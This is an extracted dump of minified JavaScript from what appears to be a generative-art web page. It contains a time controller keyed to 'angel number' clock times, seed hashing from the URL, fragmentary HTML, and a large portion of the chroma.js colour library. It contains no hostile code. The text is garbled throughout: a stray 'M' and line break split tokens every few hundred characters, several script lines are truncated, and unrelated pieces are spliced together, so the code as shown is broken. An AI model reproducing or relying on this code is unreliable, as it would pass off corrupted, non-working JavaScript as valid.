,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
